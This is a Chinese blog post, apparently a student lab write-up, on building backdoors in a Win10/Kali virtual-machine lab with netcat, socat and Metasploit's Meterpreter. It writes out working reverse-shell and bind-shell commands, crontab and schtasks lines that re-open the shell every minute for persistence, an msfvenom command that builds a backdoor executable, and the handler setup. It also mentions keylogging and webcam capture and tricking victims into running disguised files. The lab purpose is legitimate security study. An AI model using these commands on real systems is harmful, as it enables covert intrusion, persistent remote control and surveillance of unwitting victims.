zoukankan      html  css  js  c++  java
  • 后门原理与实践

    后门就是不经过正常认证流程而访问系统的通道。后门的实现就像是有个间谍能够在我们需要访问系统时为我们开门,我们往往希望后门有隐蔽性和自发性(能自己打开提供通道)。

    下面通过实际操作介绍几个常用后门工具。

    环境:win10、VMware、kali

    利用netcat获取kali的shell

    netcat最基本的功能是帮助我们建立网络连接(如图1),在此基础上还可以与一些程序绑定以实现远程控制的效果。

                                图1

    先从最简单开始,把系统防火墙和杀软关闭,并且后门手动下载到靶机上。在这样的条件下实现如何利用netcat让windows主机获得kali虚拟机的shell。

    通常利用netcat实现后门有以下3个步骤:

      1.主机打开监听

      -> ncat.exe -l -p 端口号

      2.靶机反弹连接win

      $: nc 主机ip 监听端口号 -e /bin/sh

      3.主机下获得一个linux shell,可运行任何指令,如ls

    显然这里windows是主机,kali虚拟机是靶机。从上面步骤可以看出,我们需要端口号和主机ip,端口号可以随便取,在实际中往往取80(网页端口)等端口以躲避防火墙的拦截,主机ip若是在局域网中的独立机器直接用ipconfig里的ip v4地址即可,但对虚拟机来说需要先确认使用的是哪种虚拟网络,ipconfig也会看见多了几个以太网地址(见图2),就是对应不同的VMware虚拟网络的。如果是桥接可以直接使用实际局域网中的地址,其他两种可以在VMware/编辑/虚拟网络编辑中看到ip段(见图3),进而可以确定下来。具体有关VMware几种网络连接方式参见https://www.linuxidc.com/Linux/2016-09/135521.htm。

                          图2

                            图3

    自己在nat模式下试着ping了三个地址,发现全部能通,但是用ncat时却只有nat对应的以太网地址才可以连通,不是很清楚原因,如果有大神知道的希望能够指点。

    确定下ip之后我们按照netcat的用法在命令行输入输入,当我们可以在win10 cmd下输入时说明连接成功了,见图4,已经成功获取了shell。

                  图4

    第一次尝试成功了,我们肯定希望能长久地使用后门,那就设置让他自启。学过linux的肯定能想到利用crontab来实现自启,但是利用常规的crontab -e来编辑会直接打开vi等编辑器来操作,而这对在远程操作的我们来说结果是向图5这样的。

                                        图5

    可以理解,因为我们打开的是shell,其他程序不一定向shell那么规矩的返回结果给我们的netcat,所以想办法绕开用文本编辑器来修改crontab。于是想到了重定向>和echo来构造一个cron文件,然后利用“crontab 文件名”来启用我们的设置。

    touch guocron
    echo "* * * * * nc 192.168.201.1 1213 -e /bin/sh" > guocron
    crontab guocron
    

    结果如图6,可以看到已经成功设置每分钟执行一次连接操作,意味着只要开机后基本就自己连上我们的主机了。

                        图6

     socat获取win10 cmd

    socat是一个功能强大的工具,在这里我们可以把它当做强化版的nc。这里利用它实现kali虚拟机获取win10 cmd的控制。

      1.连接目标

      socat - tcp:192.168.201.1:80 
      这个命令等同于 nc 192.168.201.1 80。 socat里面,必须有两个流,所以第一个参数-代表标准的输入输出,第二个流连接到192.168.201.1的80端口。 

      2.反向连接

      socat tcp-listen:80 exec:cmd,pty,stderr

      这个命名把cmd绑定到端口80,同时把cmd的Stderr复位向到stdout。

    有了这两个基本操作就可以做后门了,先win10绑定cmd打开监听,然后在kali虚拟机中连接,结果如图7所示。

                  图7

    windows cmd设置计划任务可以利用schtasks命令设置,schtasks /create /sc minute /mo 1 /tn testtask /tr "cmd /c socat.exe tcp-listen:1213 exec:cmd.exe,pty,stderr"设置每一分钟运行一次socat监听的命令。更多细节详见https://www.cnblogs.com/magic_evan/archive/2011/10/31/2230349.html。

    Meterpreter的使用

    只说自己通过这次实践对Meterpreter的感受,这工具太强大了,一旦连上后面,有各种各样现场的工具给你来支配靶机,一句代码就可以录你键盘,获取你屏幕。从后门的生成到控制端一条龙。

    大致流程是先利用meterpreter生成后门程序,进入msfconsole开启监听,想办法在靶机上运行我们的后门,msfconsole与靶机建立连接,随心所欲的对靶机进行控制。

    接下来实践用meterpreter对win10进行渗透。

    生成后门exe,复制到win10上

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.136 LPORT=443 -f exe > meter_backdoor.exe

    -p后接payload表示选择payload整合到exe上,LHOST和LPORT是监听的ip和端口号,也就是我们自己的机器,-f,format输出格式,然后重定向到文件。

                                            图8

    然后通过netcat传输到win10电脑上,kali上输入

    ncat -l 1213 < 20151213_backdoor.exe

    win10上输入

    nc 192.168.201.136 1213 > 20151213_backdoor.exe

    然后win10系统上会收到这个exe文件,等kali监听后再打开。

    MSF打开监听进程

    shell下输入msfconsole就可以打开msf命令行,加载结束后输入

    msf > use exploit/multi/handler
    msf > set LHOST 本机ip
    msf > set LPORT 监听端口
    msf > show oprions #查看配置
    msf > exploit #开始监听

    exploit开始后切到win10运行之前发送过去的exe,可以在msfconsole看见有session建立了(如图9),之后就可以开始我们想做的事了。

                      图9(成功建立会话连接)

                           图10(进程转移)

    用grep过滤ps -a出来的进程,找到explorer这种稳定进程转移过去。

                          图11(判断是否为虚拟机)

    不知为何有时运行这些脚本时会出错,没能找到原因,希望能有大牛指教。

    最后上传一张利用webcam_snap拍取的照片。

                        图12

    体会

    第一次做这方面的东西,过程可谓十分艰辛,因为总有意想不到的错误出现。但是当成功建立session的那一刻感觉所有付出都是值得的。

    同时也深感网络环境的不安全,若是一台没有杀软,用盗版系统的机子随随便便都会让人给入侵了,不过后门到底是需要有个间谍也就是那个exe来开启,所以不乱下东西,不乱点程序是可以极大降低自己被人入侵的概率。

    作为入侵者就是想各种办法骗取别人点击自己的文件了,通过包装把自己的exe放在钓鱼网站上等着人下载运行(多数),或者是利用某些系统漏洞强行渗透(较少)。一旦第一次被入侵,这些程序往往就以计划任务或者服务等方式自启动。

    也是利用这点,我们可以在开机启动项和服务里面找一些比较不正常的程序,通过审计观察它是否有后门的嫌疑。

  • 相关阅读:
    python出现local variable 'f' referenced before assiginment""
    使用Python修改ifcfg-eth0文件
    在linux中运行py文件时,及时知道错误信息
    分词结果准确率、召回率计算-python
    oozie工作流
    combiner hadoop
    Python常用模块--base64
    Python常用模块--datetime
    树莓派(Raspbian系统)中使用pyinstaller封装Python代码为可执行程序
    LeetCode刷题笔记--Python--28. 实现strStr()
  • 原文地址:https://www.cnblogs.com/guoyicai/p/8665798.html
Copyright © 2011-2022 走看看